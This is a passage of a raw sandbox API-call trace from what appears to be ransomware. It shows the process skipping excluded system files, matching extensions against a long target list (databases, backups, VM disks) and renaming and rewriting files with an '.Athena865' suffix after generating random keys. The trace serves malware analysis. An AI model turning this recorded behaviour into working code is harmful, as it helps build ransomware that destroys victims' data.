(lpString1="VISUTILS.DLL", lpString2=".dll") returned 1 [0087.672] lstrlenW (lpString=".lnk") returned 4 [0087.672] lstrcmpiW (lpString1="VISUTILS.DLL", lpString2=".lnk") returned 1 [0087.672] lstrlenW (lpString=".ini") returned 4 [0087.672] lstrcmpiW (lpString1="VISUTILS.DLL", lpString2=".ini") returned 1 [0087.672] lstrlenW (lpString=".sys") returned 4 [0087.672] lstrcmpiW (lpString1="VISUTILS.DLL", lpString2=".sys") returned 1 [0087.672] lstrlenW (lpString="VISUTILS.DLL") returned 12 [0087.672] lstrlenW (lpString="bak") returned 3 [0087.672] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0087.673] lstrlenW (lpString="ba_") returned 3 [0087.673] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0087.673] lstrlenW (lpString="dbb") returned 3 [0087.673] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0087.673] lstrlenW (lpString="vmdk") returned 4 [0087.673] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0087.673] lstrlenW (lpString="rar") returned 3 [0087.673] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0087.673] lstrlenW (lpString="zip") returned 3 [0087.673] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0087.673] lstrlenW (lpString="tgz") returned 3 [0087.673] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0087.673] lstrlenW (lpString="vbox") returned 4 [0087.673] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0087.673] lstrlenW (lpString="vdi") returned 3 [0087.673] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0087.673] lstrlenW (lpString="vhd") returned 3 [0087.673] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0087.673] lstrlenW (lpString="vhdx") returned 4 [0087.673] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0087.673] lstrlenW (lpString="avhd") returned 4 [0087.673] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0087.673] lstrlenW (lpString="db") returned 2 [0087.673] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0087.673] lstrlenW (lpString="db2") returned 3 [0087.673] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0087.673] lstrlenW (lpString="db3") returned 3 [0087.673] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0087.673] lstrlenW (lpString="dbf") returned 3 [0087.673] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0087.673] lstrlenW (lpString="mdf") returned 3 [0087.673] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0087.673] lstrlenW (lpString="mdb") returned 3 [0087.674] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0087.674] lstrlenW (lpString="sql") returned 3 [0087.674] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0087.674] lstrlenW (lpString="sqlite") returned 6 [0087.674] lstrcmpiW (lpString1="LS.DLL", lpString2="sqlite") returned -1 [0087.674] lstrlenW (lpString="sqlite3") returned 7 [0087.674] lstrcmpiW (lpString1="ILS.DLL", lpString2="sqlite3") returned -1 [0087.674] lstrlenW (lpString="sqlitedb") returned 8 [0087.674] lstrcmpiW (lpString1="TILS.DLL", lpString2="sqlitedb") returned 1 [0087.674] lstrlenW (lpString="xml") returned 3 [0087.674] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0087.674] lstrlenW (lpString="$er") returned 3 [0087.674] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0087.674] lstrlenW (lpString="4dd") returned 3 [0087.674] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0087.674] lstrlenW (lpString="4dl") returned 3 [0087.674] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0087.674] lstrlenW (lpString="^^^") returned 3 [0087.674] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0087.674] lstrlenW (lpString="abs") returned 3 [0087.674] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0087.674] lstrlenW (lpString="abx") returned 3 [0087.674] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0087.674] lstrlenW (lpString="accdb") returned 5 [0087.674] lstrcmpiW (lpString1="S.DLL", lpString2="accdb") returned 1 [0087.674] lstrlenW (lpString="accdc") returned 5 [0087.674] lstrcmpiW (lpString1="S.DLL", lpString2="accdc") returned 1 [0087.674] lstrlenW (lpString="accde") returned 5 [0087.674] lstrcmpiW (lpString1="S.DLL", lpString2="accde") returned 1 [0087.674] lstrlenW (lpString="accdr") returned 5 [0087.674] lstrcmpiW (lpString1="S.DLL", lpString2="accdr") returned 1 [0087.674] lstrlenW (lpString="accdt") returned 5 [0087.675] lstrcmpiW (lpString1="S.DLL", lpString2="accdt") returned 1 [0087.675] lstrlenW (lpString="accdw") returned 5 [0087.675] lstrcmpiW (lpString1="S.DLL", lpString2="accdw") returned 1 [0087.675] lstrlenW (lpString="accft") returned 5 [0087.675] lstrcmpiW (lpString1="S.DLL", lpString2="accft") returned 1 [0087.675] lstrlenW (lpString="adb") returned 3 [0087.675] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0087.675] lstrlenW (lpString="adb") returned 3 [0087.675] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0087.675] lstrlenW (lpString="ade") returned 3 [0087.675] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0087.675] lstrlenW (lpString="adf") returned 3 [0087.675] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0087.675] lstrlenW (lpString="adn") returned 3 [0087.675] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0087.675] lstrlenW (lpString="adp") returned 3 [0087.675] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0087.675] lstrlenW (lpString="alf") returned 3 [0087.675] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0087.675] lstrlenW (lpString="ask") returned 3 [0087.675] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0087.675] lstrlenW (lpString="btr") returned 3 [0087.675] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0087.675] lstrlenW (lpString="cat") returned 3 [0087.675] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0087.675] lstrlenW (lpString="cdb") returned 3 [0087.675] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0087.675] lstrlenW (lpString="ckp") returned 3 [0087.675] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0087.675] lstrlenW (lpString="cma") returned 3 [0087.675] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0087.675] lstrlenW (lpString="cpd") returned 3 [0087.676] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0087.676] lstrlenW (lpString="dacpac") returned 6 [0087.676] lstrcmpiW (lpString1="LS.DLL", lpString2="dacpac") returned 1 [0087.676] lstrlenW (lpString="dad") returned 3 [0087.676] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0087.676] lstrlenW (lpString="dadiagrams") returned 10 [0087.676] lstrcmpiW (lpString1="SUTILS.DLL", lpString2="dadiagrams") returned 1 [0087.676] lstrlenW (lpString="daschema") returned 8 [0087.676] lstrcmpiW (lpString1="TILS.DLL", lpString2="daschema") returned 1 [0087.676] lstrlenW (lpString="db-journal") returned 10 [0087.676] lstrcmpiW (lpString1="SUTILS.DLL", lpString2="db-journal") returned 1 [0087.676] lstrlenW (lpString="db-shm") returned 6 [0087.676] lstrcmpiW (lpString1="LS.DLL", lpString2="db-shm") returned 1 [0087.676] lstrlenW (lpString="db-wal") returned 6 [0087.676] lstrcmpiW (lpString1="LS.DLL", lpString2="db-wal") returned 1 [0087.676] lstrlenW (lpString="dbc") returned 3 [0087.676] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0087.676] lstrlenW (lpString="dbs") returned 3 [0087.676] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0087.676] lstrlenW (lpString="dbt") returned 3 [0087.676] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0087.676] lstrlenW (lpString="dbv") returned 3 [0087.676] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0087.676] lstrlenW (lpString="dbx") returned 3 [0087.676] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0087.676] lstrlenW (lpString="dcb") returned 3 [0087.676] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0087.676] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0087.677] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\VISUTILS.DLL.Athena865") returned 65 [0087.677] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\VISUTILS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\visutils.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\VISUTILS.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\visutils.dll.athena865"), dwFlags=0x1) returned 1 [0087.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\VISUTILS.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\visutils.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0087.678] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=772968) returned 1 [0087.678] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0087.678] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0087.678] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0087.678] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0087.679] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0087.679] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0087.679] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbce70, lpName=0x0) returned 0x17c [0087.681] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbce70) returned 0x2d50000 [0087.709] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0087.709] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0087.709] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0087.709] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0087.709] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0087.710] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0087.710] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0087.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0087.710] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0087.710] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0087.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0087.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0087.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0087.710] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0087.717] CloseHandle (hObject=0x17c) returned 1 [0087.717] CloseHandle (hObject=0x154) returned 1 [0087.717] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0087.717] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0087.717] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0087.721] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd235d0c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x12e388, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VISWEB.DLL", cAlternateFileName="")) returned 1 [0087.721] lstrcmpiW (lpString1="VISWEB.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0087.721] lstrcmpiW (lpString1="VISWEB.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0087.721] lstrcmpiW (lpString1="VISWEB.DLL", lpString2=".") returned 1 [0087.721] lstrcmpiW (lpString1="VISWEB.DLL", lpString2="..") returned 1 [0087.721] lstrcmpiW (lpString1="VISWEB.DLL", lpString2="windows") returned -1 [0087.722] lstrcmpiW (lpString1="VISWEB.DLL", lpString2="bootmgr") returned 1 [0087.722] lstrcmpiW (lpString1="VISWEB.DLL", lpString2="temp") returned 1 [0087.722] lstrcmpiW (lpString1="VISWEB.DLL", lpString2="pagefile.sys") returned 1 [0087.722] lstrcmpiW (lpString1="VISWEB.DLL", lpString2="boot") returned 1 [0087.722] lstrcmpiW (lpString1="VISWEB.DLL", lpString2="ids.txt") returned 1 [0087.722] lstrcmpiW (lpString1="VISWEB.DLL", lpString2="ntuser.dat") returned 1 [0087.722] lstrcmpiW (lpString1="VISWEB.DLL", lpString2="perflogs") returned 1 [0087.722] lstrcmpiW (lpString1="VISWEB.DLL", lpString2="MSBuild") returned 1 [0087.722] lstrlenW (lpString="VISWEB.DLL") returned 10 [0087.722] lstrcpyW (in: lpString1=0x241e89e, lpString2="VISWEB.DLL" | out: lpString1="VISWEB.DLL") returned="VISWEB.DLL" [0087.722] lstrlenW (lpString="VISWEB.DLL") returned 10 [0087.722] lstrlenW (lpString="Athena865") returned 9 [0087.722] lstrcmpiW (lpString1="ISWEB.DLL", lpString2="Athena865") returned 1 [0087.722] lstrlenW (lpString=".dll") returned 4 [0087.722] lstrcmpiW (lpString1="VISWEB.DLL", lpString2=".dll") returned 1 [0087.722] lstrlenW (lpString=".lnk") returned 4 [0087.722] lstrcmpiW (lpString1="VISWEB.DLL", lpString2=".lnk") returned 1 [0087.722] lstrlenW (lpString=".ini") returned 4 [0087.722] lstrcmpiW (lpString1="VISWEB.DLL", lpString2=".ini") returned 1 [0087.722] lstrlenW (lpString=".sys") returned 4 [0087.722] lstrcmpiW (lpString1="VISWEB.DLL", lpString2=".sys") returned 1 [0087.722] lstrlenW (lpString="VISWEB.DLL") returned 10 [0087.722] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\VISWEB.DLL.Athena865") returned 63 [0087.722] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\VISWEB.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\visweb.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\VISWEB.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\visweb.dll.athena865"), dwFlags=0x1) returned 1 [0087.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\VISWEB.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\visweb.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0087.724] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1237896) returned 1 [0087.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0087.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0087.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0087.724] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0087.725] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0087.725] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0087.725] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x12e690, lpName=0x0) returned 0x17c [0087.726] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x12e690) returned 0x2d50000 [0087.774] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0087.775] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0087.775] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0087.775] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0087.775] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0087.775] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0087.775] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0087.775] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0087.775] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0087.775] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0087.775] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0087.775] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0087.775] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0087.775] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0087.785] CloseHandle (hObject=0x17c) returned 1 [0087.785] CloseHandle (hObject=0x154) returned 1 [0087.785] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0087.785] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0087.785] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0087.790] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa52c0600, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x852ed240, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa52c0600, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x1a580, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VISXDATA.DLL", cAlternateFileName="")) returned 1 [0087.791] lstrcmpiW (lpString1="VISXDATA.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0087.791] lstrcmpiW (lpString1="VISXDATA.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0087.791] lstrcmpiW (lpString1="VISXDATA.DLL", lpString2=".") returned 1 [0087.791] lstrcmpiW (lpString1="VISXDATA.DLL", lpString2="..") returned 1 [0087.791] lstrcmpiW (lpString1="VISXDATA.DLL", lpString2="windows") returned -1 [0087.791] lstrcmpiW (lpString1="VISXDATA.DLL", lpString2="bootmgr") returned 1 [0087.791] lstrcmpiW (lpString1="VISXDATA.DLL", lpString2="temp") returned 1 [0087.791] lstrcmpiW (lpString1="VISXDATA.DLL", lpString2="pagefile.sys") returned 1 [0087.791] lstrcmpiW (lpString1="VISXDATA.DLL", lpString2="boot") returned 1 [0087.791] lstrcmpiW (lpString1="VISXDATA.DLL", lpString2="ids.txt") returned 1 [0087.791] lstrcmpiW (lpString1="VISXDATA.DLL", lpString2="ntuser.dat") returned 1 [0087.791] lstrcmpiW (lpString1="VISXDATA.DLL", lpString2="perflogs") returned 1 [0087.791] lstrcmpiW (lpString1="VISXDATA.DLL", lpString2="MSBuild") returned 1 [0087.791] lstrlenW (lpString="VISXDATA.DLL") returned 12 [0087.791] lstrcpyW (in: lpString1=0x241e89e, lpString2="VISXDATA.DLL" | out: lpString1="VISXDATA.DLL") returned="VISXDATA.DLL" [0087.791] lstrlenW (lpString="VISXDATA.DLL") returned 12 [0087.791] lstrlenW (lpString="Athena865") returned 9 [0087.791] lstrcmpiW (lpString1="XDATA.DLL", lpString2="Athena865") returned 1 [0087.791] lstrlenW (lpString=".dll") returned 4 [0087.791] lstrcmpiW (lpString1="VISXDATA.DLL", lpString2=".dll") returned 1 [0087.791] lstrlenW (lpString=".lnk") returned 4 [0087.791] lstrcmpiW (lpString1="VISXDATA.DLL", lpString2=".lnk") returned 1 [0087.791] lstrlenW (lpString=".ini") returned 4 [0087.791] lstrcmpiW (lpString1="VISXDATA.DLL", lpString2=".ini") returned 1 [0087.791] lstrlenW (lpString=".sys") returned 4 [0087.791] lstrcmpiW (lpString1="VISXDATA.DLL", lpString2=".sys") returned 1 [0087.791] lstrlenW (lpString="VISXDATA.DLL") returned 12 [0087.791] lstrlenW (lpString="bak") returned 3 [0087.792] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0087.792] lstrlenW (lpString="ba_") returned 3 [0087.792] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0087.792] lstrlenW (lpString="dbb") returned 3 [0087.792] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0087.792] lstrlenW (lpString="vmdk") returned 4 [0087.792] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0087.792] lstrlenW (lpString="rar") returned 3 [0087.792] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0087.792] lstrlenW (lpString="zip") returned 3 [0087.792] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0087.792] lstrlenW (lpString="tgz") returned 3 [0087.792] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0087.792] lstrlenW (lpString="vbox") returned 4 [0087.792] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0087.792] lstrlenW (lpString="vdi") returned 3 [0087.792] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0087.792] lstrlenW (lpString="vhd") returned 3 [0087.792] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0087.792] lstrlenW (lpString="vhdx") returned 4 [0087.792] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0087.792] lstrlenW (lpString="avhd") returned 4 [0087.792] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0087.792] lstrlenW (lpString="db") returned 2 [0087.792] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0087.792] lstrlenW (lpString="db2") returned 3 [0087.792] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0087.792] lstrlenW (lpString="db3") returned 3 [0087.792] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0087.792] lstrlenW (lpString="dbf") returned 3 [0087.793] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0087.793] lstrlenW (lpString="mdf") returned 3 [0087.793] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0087.793] lstrlenW (lpString="mdb") returned 3 [0087.793] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0087.793] lstrlenW (lpString="sql") returned 3 [0087.793] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0087.793] lstrlenW (lpString="sqlite") returned 6 [0087.793] lstrcmpiW (lpString1="TA.DLL", lpString2="sqlite") returned 1 [0087.793] lstrlenW (lpString="sqlite3") returned 7 [0087.793] lstrcmpiW (lpString1="ATA.DLL", lpString2="sqlite3") returned -1 [0087.793] lstrlenW (lpString="sqlitedb") returned 8 [0087.793] lstrcmpiW (lpString1="DATA.DLL", lpString2="sqlitedb") returned -1 [0087.793] lstrlenW (lpString="xml") returned 3 [0087.793] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0087.793] lstrlenW (lpString="$er") returned 3 [0087.793] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0087.793] lstrlenW (lpString="4dd") returned 3 [0087.793] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0087.793] lstrlenW (lpString="4dl") returned 3 [0087.793] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0087.793] lstrlenW (lpString="^^^") returned 3 [0087.793] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0087.793] lstrlenW (lpString="abs") returned 3 [0087.793] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0087.793] lstrlenW (lpString="abx") returned 3 [0087.793] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0087.793] lstrlenW (lpString="accdb") returned 5 [0087.793] lstrcmpiW (lpString1="A.DLL", lpString2="accdb") returned -1 [0087.793] lstrlenW (lpString="accdc") returned 5 [0087.793] lstrcmpiW (lpString1="A.DLL", lpString2="accdc") returned -1 [0087.794] lstrlenW (lpString="accde") returned 5 [0087.794] lstrcmpiW (lpString1="A.DLL", lpString2="accde") returned -1 [0087.794] lstrlenW (lpString="accdr") returned 5 [0087.794] lstrcmpiW (lpString1="A.DLL", lpString2="accdr") returned -1 [0087.794] lstrlenW (lpString="accdt") returned 5 [0087.794] lstrcmpiW (lpString1="A.DLL", lpString2="accdt") returned -1 [0087.794] lstrlenW (lpString="accdw") returned 5 [0087.794] lstrcmpiW (lpString1="A.DLL", lpString2="accdw") returned -1 [0087.794] lstrlenW (lpString="accft") returned 5 [0087.794] lstrcmpiW (lpString1="A.DLL", lpString2="accft") returned -1 [0087.794] lstrlenW (lpString="adb") returned 3 [0087.794] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0087.794] lstrlenW (lpString="adb") returned 3 [0087.794] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0087.794] lstrlenW (lpString="ade") returned 3 [0087.794] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0087.794] lstrlenW (lpString="adf") returned 3 [0087.794] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0087.794] lstrlenW (lpString="adn") returned 3 [0087.794] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0087.794] lstrlenW (lpString="adp") returned 3 [0087.794] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0087.794] lstrlenW (lpString="alf") returned 3 [0087.794] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0087.794] lstrlenW (lpString="ask") returned 3 [0087.794] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0087.794] lstrlenW (lpString="btr") returned 3 [0087.794] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0087.794] lstrlenW (lpString="cat") returned 3 [0087.794] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0087.794] lstrlenW (lpString="cdb") returned 3 [0087.794] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0087.795] lstrlenW (lpString="ckp") returned 3 [0087.795] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0087.795] lstrlenW (lpString="cma") returned 3 [0087.795] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0087.795] lstrlenW (lpString="cpd") returned 3 [0087.795] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0087.795] lstrlenW (lpString="dacpac") returned 6 